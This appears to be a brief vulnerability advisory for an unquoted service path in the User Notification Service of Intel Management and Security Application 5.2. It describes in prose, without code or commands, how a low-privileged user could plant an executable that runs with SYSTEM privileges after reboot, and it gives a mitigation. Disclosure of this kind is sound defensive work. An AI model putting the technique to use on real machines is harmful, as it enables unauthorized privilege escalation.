Intel(r) Management and Security Application 5.2 – User Notification Service Unquoted Service Path

An attacker with low privileges can download a malicious executable file to the Intel directory and set it to run with the unquoted service path of the Intel User Notification Service. After the system is rebooted, the malicious executable will be executed with SYSTEM privileges.

Mitigation:

Ensure that all services have their paths quoted and that all services are running with the least privileges necessary.

#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
